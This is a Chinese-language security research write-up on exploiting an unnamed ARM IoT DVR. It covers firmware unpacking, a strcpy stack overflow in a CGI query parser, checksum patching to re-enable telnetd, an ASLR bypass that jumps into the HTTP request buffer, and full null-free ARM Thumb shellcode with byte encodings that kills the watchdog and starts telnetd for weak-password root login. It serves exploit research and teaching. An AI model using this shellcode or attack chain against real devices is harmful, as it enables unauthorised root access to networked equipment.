From Dvr to See Exploit of IoT Device

 

Author:0K5y && Larryxi @ 360GearTeam

# 0x00 前言

在万物互联的时代,IoT安全也逐渐被人们所关注。IoT设备在软件二进制方面的攻击面和传统PC端的二进制安全类似,但在架构上有所不同,如arm、mips、ppc等都会在日常的安全审计过程中有所接触。架构的不同也就反应在rop链和shellcode的构造,每一种架构下的指令集都是值得利用与玩味的。

本篇文章中主要介绍了针对某ARM IoT设备从漏洞挖掘到漏洞利用的整套思考与攻击链条,期望大家对IoT安全有所交流、学习和进步。

0x01 漏洞挖掘

环境前瞻

因为已经拿到对应设备的固件,所以不用再上下求索提取固件,binwalk解包后是个常见的squashfs 文件系统,分析可得出三个前瞻的结论:

  1. 其在/etc/init.d/S99中启动app相关服务,并将telnetd注释掉关闭了telnet接口。

  1. 其在/etc/passwd中保存的root密码为弱口令,在github可搜索到。
  2. 通过file /bin/busybox信息可得知其架构为armel。

根据上述信息,一般的攻击思路便是通过Web端命令注入或缓冲区溢出,开启系统的telnetd服务,再由root弱口令获取shell。

Web漏洞

该设备存在一个管理后台,开启burp抓包,发现了几个不痛不痒的问题:

  1. 存在未授权访问的页面,虽然在js中有重定向但burp中依旧可以看到对应页面的静态资源。
  2. 后台登录成功后会将身份信息保存在cookie中,并对所有动态资源的获取都通过url传递相关身份信息作为认证。
  3. 某些cgi也存在未授权访问,可得到相关配置文件,但无后台账号密码和内存布局等关键信息。
  4. 还有些cgi可以执行某些特定的指令如reboot,但限制得比较死,只能造成拒绝服务一类的攻击。

根据上述信息,可以推断常见的登录绕过、self-xss、csrf便没什么太大的作用了,命令注入相关的接口也没有找到,考虑从固件相关app binary逆向分析寻找漏洞点。

缓冲区溢出

我们通常会看和http相关的binary,毕竟http服务器和后端的处理代码是很大的一块攻击面。搜索cgi字符串可以找到对应的handler函数,其中有个提取url中query参数的函数,重命名为parse_url_query:

逆向可知,其从请求的url中提取对应的参数,返回一个结构体,第一个DWORD保存value pointer,第二个DWORD保存value length:

此处value的长度是我们可控的,那么在其父函数(图2)的120行和130行中直接把value的值strcpy至栈上的空间,这里就产生了经典的缓冲区溢出。查找parse_url_query的交叉引用,只要其后存在strcpy的操作,那么很大程度上也会是个溢出点。

 

0x02 调试环境

获取调试接口

有了溢出点,我们肯定迫不及待地想要去调试漏洞利用获取shell,但获取调试接口也是我们面临的一个问题:

  1. 没有找到命令注入,也就无法通过telnet执行命令上传gdbserver进行调试。
  2. 虽然设备上有明显的UART接口,但其输出的只是日志信息,没有提供系统shell。
  3. 尝试修改u-boot的init字段为/bin/sh,没有实际效果。

由于我们手上已有固件,观察到后台有升级固件的功能,自然想到去除对telnetd的注释,重新打包升级固件,就可以开启调试之旅了。

打包完固件之后更新固件,在串口的日志输出处可以看到如下错误:

可知需要修改md5, 打开固件在固件头附近可以看到如下md5值:

直接修改为计算之后的值即可。再次更新,可以看到如下报错,因为固件更改,导致该文件头中保存的块CRC校验错误:

可以在文件偏移0x22c处看到如下CRC校验值:5242,修改为 8582即可:

再次更新,由于修改了文件头,导致文件头的CRC校验报错:

在文件最开始处,可以看到文件头CRC校验值:ce4f,修改为0dea即可:

最后由于文件被修改,导致md5校验出错,再次修改md5值即可,不再赘述。

交叉编译环境

一开始使用github上下载的静态编译好的gdbserver-7.7.1-armel-eabi5-v1-sysv,在kali上配合gdb-multiarch(7.12)进行调试。应用程序对每个http请求都会create一个线程来处理,但在漏洞函数处下断点始终断不下来,还会出现莫名其妙的SIGSEGV错误。搜索得知调试的服务端和客户端的版本相近才比较靠谱。

遂搭建交叉编译环境,自己静态编译一个7.11版本的arm-linux-gnueabi-gdbserver。在ubuntu 14.04上安装gcc-arm-linux-gnueabi,下载gdbserver源码包,根据configure和Makefile静态编译即可,网上也有相关教程,不再赘述。

由此可在漏洞cgi_handler函数起始处断下:

 

0x03 漏洞利用

安全机制

在调试过程中系统会在短时间内重启,怀疑有watchdog的存在,通过串口日志和reboot字符串的搜索,定位watchdog为内核模块wdt,rmmod wdt卸载即可进行调试。综合可知该app进程和系统开启安全机制的情况如下:

  1. 没有GS保护。
  2. 主程序的栈空间和各个线程的栈空间都是可执行的。
  3. 系统的ASLR为1,uClibc的地址确实也会随机化。
  4. brk分配的堆地址范围不变,vectors段地址范围不变。
  5. watchdog以内核模块的形式存在,短时间内应用程序无响应便重启系统。

利用方案

根据静态或动态方法可以确定偏移,调试验证看看程序逻辑能不能无异常地走到最后,并覆盖到pc或lr寄存器。在函数返回前如约而至地迎来了异常,定位可知在图二中133行的v68和v69局部变量都会因为溢出被覆盖,然后便进入135行parse_url_query逻辑。

局部变量v62作为a1传入parse_url_query函数中,本为url的字符串指针但却被我们的溢出覆盖,最后在图三27行调用strcasestr函数时,产生了非法地址访问。只要对应偏移覆盖v62为我们可控的可读的内存地址,那么这个异常即可规避使parse_url_query返回-1,而且也不会进入漏洞函数的后续逻辑,最终能顺利地劫持pc了。

虽然系统开启了ASLR,地址是不可预期的,但仍可利用vectors段的固定地址进行strcasestr,即可来到对返回地址的覆盖:

因为strcpy的\x00截断和ASLR,首先考虑的是在app的代码段寻找gadget。因为有截断所以只能完成一次跳转,而且需要往回调执行栈上的shellcode,目前我们可控的寄存器只有r4、fp和pc,在代码段是无法找到这么完美的gadget。

其次考虑的是vectors内存段,其不受ASLR的影响而且没有截断的问题,如果有好的gadget也是能够跳转shellcode的,但实际上也收效甚微:

那不得不面对的就是绕过ASLR了:

  1. 信息泄露:几乎所有的调试日志输出只在串口上可见,http响应中也限制得比较死,没有在软件层面上找到可以输出信息泄露的有效点。
  2. 暴力破解:把程序一打崩watchdog就重启系统,暴力的方法也就没意义了。
  3. 堆喷:处理线程都是共享的heap,如果处理过程中有brk分配内存,那还是可以尝试一下堆喷的效果。

首先需要逆向一下处理http请求的过程。根据串口输出日志结合调试可知,在函数sub_25E2DC会生成线程调用函数sub_25DD6C来处理每一个请求。在sub_25DD6C中会接收0x400个字节判断该socket流属于什么协议:

具体可知判断HTTP协议只是依据开头的GET或POST字节:

然后动态调用函数指针处理HTTP请求:

在上图的45行可以看到,接收0x400字节的buf是由calloc函数分配的,但在判断完是HTTP协议后在65行立即释放了该堆内存空间。前后申请释放的间隔太短,实际使用20000线程也只能喷出6个堆块,可见在我们这个环境下使用多线程来进行堆喷是没有太大效果的。

上述思路都不通,还是回到漏洞环境,看看上下文有没有其他可借助的点。简单地尝试之后,发现在栈上保存的高地址指针正好指向我们socket传入的字节串:

山穷水尽溜一圈,那么经过两次的pop,即可劫持pc跳转至GET /cgi-bin/xxx.cgi?p=xxx HTTP/1.1\r\n执行了。这样只需要一次跳转的两次pop还是很好找的:

shellcode构造

猜想和调试验证可知,该程序已\r\n\r\n作为http头结束的标志,因此\x00会截断导致程序直接抛弃该请求:

既然是程序自身处理的HTTP请求,那么\x00\x0d\x0a\x20都会是badchar。GET需要凑一个字节如GETB构成nop指令即可。

所以就需要自己构造或者参考他人的例子构造shellcode。在构造之前,我们一般会写一个相同逻辑的c语言程序,静态编译看看能否在目标环境运行,再构建同等功能的shellcode:

#include <unistd.h>



int main(void) {

execve("/bin/sh", 0, 0);

return 0;

}

上述程序并没有获得如期的shell,调试后可知execve执行后的返回值为0xfffffffe即ENOENT,因为/bin/ls只是/bin/busybox的一个软链接,所以尝试使用busybox来执行命令就可以了:

 

#include <unistd.h>



int main(void) {

char* argv[] = {"busybox", "rmmod", "wdt"};

execve("/bin/busybox", argv, 0);

return 0;

}

生成shellcode有一个捷径可走就是直接调用pwnlib.shellcraft.thumb

 

 

/* execve(path='/bin/busybox', argv=['busybox', 'rmmod', 'wdt'], envp=0) */

/* push '/bin/busybox\x00' */

eor r7, r7

push {r7}

ldr r7, value_7

b value_7_after

value_7: .word 0x786f6279

value_7_after:

push {r7}

ldr r7, value_8

b value_8_after

value_8: .word 0x7375622f

value_8_after:

push {r7}

ldr r7, value_9

b value_9_after

value_9: .word 0x6e69622f

value_9_after:

push {r7}

mov r0, sp

/* push argument array ['busybox\x00', 'rmmod\x00', 'wdt\x00'] */

/* push 'busybox\x00rmmod\x00wdt\x00\x00' */

mov r7, #0x74

push {r7}

ldr r7, value_10

b value_10_after

value_10: .word 0x64770064

value_10_after:

push {r7}

ldr r7, value_11

b value_11_after

value_11: .word 0x6f6d6d72

value_11_after:

push {r7}

ldr r7, value_12

b value_12_after

value_12: .word 0xff786f62

value_12_after:

lsl r7, #8

lsr r7, #8

push {r7}

ldr r7, value_13

b value_13_after

value_13: .word 0x79737562

value_13_after:

push {r7}

/* push 0 */

eor r7, r7

push {r7} /* null terminate */

mov r1, #0x12

add r1, sp

push {r1} /* 'wdt\x00' */

mov r1, #0x10

add r1, sp

push {r1} /* 'rmmod\x00' */

mov r1, #0xc

add r1, sp

push {r1} /* 'busybox\x00' */

mov r1, sp

eor r2, r2

/* call execve() */

/* mov r7, #SYS_execve */

mov r7, #11 /* 0xb */

svc 0x41

将汇编代码转成机器码后包含了一个\x00字节,还是需要理解shellcode的逻辑,然后更改相关指令规避掉badchar:

 

eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x786f6279           \x79\x62\x6f\x78  ybox

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x7375622f           \x2f\x62\x75\x73  /bus

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6e69622f           \x2f\x62\x69\x6e  /bin

push {r7}            \x80\xb4

mov r0, sp           \x68\x46



mov r7, #0x74        \x4f\xf0\x74\x07  t

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x64770064           \x64\x00\x77\x64  d\x00wd

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6f6d6d72           \x72\x6d\x6d\x6f  rmmo

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0xff786f62           \x62\x6f\x78\xff  box\xff

lsl.w r7, r7, #8     \x4f\xea\x07\x27

lsr.w r7, r7, #8     \x4f\xea\x17\x27  box\x00

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x79737562           \x62\x75\x73\x79  busy

push {r7}            \x80\xb4



eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

mov.w r1, #0x12      \x4f\xf0\x12\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0x10      \x4f\xf0\x10\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0xc       \x4f\xf0\x0c\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov r1, sp           \x69\x46

eor.w r2, r2, r2     \x82\xea\x02\x02

mov.w r7, #0xb       \x4f\xf0\x0b\x07

svc #0x41            \x41\xdf



1111

2222

3333

\x00\x00\x00\x00

busy

box\x00

romm

d\x00wd

t\x00\x00\x00

/bin

/bus

ybox

\x00\x00\x00\x00

这段shellcode总结下来有两个重要的特点:

  1. 读取pc寄存器可获取4字节数据,然后使用b指令越过数据部分。
  2. 通过左移右移来将某些字节置零。

借鉴以上思想,通过位移来优化一下其中的\x00字节:

 

1111

2222

3333

\x00\x00\x00\x00

wdt\xff

romm

d\x00\x00\x00

/bin

/bus

ybox

\x00\x00\x00\x00



eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x786f6279           \x79\x62\x6f\x78  ybox

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x7375622f           \x2f\x62\x75\x73  /bus

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6e69622f           \x2f\x62\x69\x6e  /bin

push {r7}            \x80\xb4

mov r0, sp           \x68\x46





mov.w r7, #0x64      \x4f\xf0\x64\x07  d

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6f6d6d72           \x72\x6d\x6d\x6f  rmmo

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0xff786f62           \x77\x64\x74\xff  wdt\xff

lsl.w r7, r7, #8     \x4f\xea\x07\x27

lsr.w r7, r7, #8     \x4f\xea\x17\x27  wdt\x00

push {r7}            \x80\xb4



eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

mov.w r1, #0x4       \x4f\xf0\x04\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0xc       \x4f\xf0\x0c\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0x1d      \x4f\xf0\x1d\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov r1, sp           \x69\x46

eor.w r2, r2, r2     \x82\xea\x02\x02

mov.w r7, #0xb       \x4f\xf0\x0b\x07

svc #0x41            \x41\xdf

 

这一段执行execve是没有任何问题了,可是这里只是关闭了watchdog,我们还想做的是开启telnetd服务,后续就可以通过root弱口令获取系统shell了。开始时想使用两次execve分别执行rmmod wdt和telnetd,但exec调用后当前进程的内存被完全替换,也就无法进行第二次的execve了。

最终确定使用渗透中的常见套路,在/tmp目录下使用系统调用写一个shell脚本,空格可以使用${IFS}绕过,最后execve调用sh执行该文件,达到一种执行多条命令的效果:

 

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <unistd.h>



void main() {

int fd = open("/tmp/XXX", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);

write(fd, "rmmod${IFS}wdt;telnetd", 22);

close(fd);

}

 

完成利用

漏洞利用便是将上述结合起来,如图所示:

 

0x04 总结

  1. IoT设备上的安全防御手段和机制肯定会随着我们的聚焦而增强,也是一个有趣的挑战。
  2. 对于漏洞环境的审查还需要细致观察或者脚本化。
  3. 文中有所疏漏的地方还请师傅们不吝赐教。
  4. 有幸去了bluehat2019,IoT上的Fuzzing、高阶利用和输出积累是我个人需要提高的。
(完)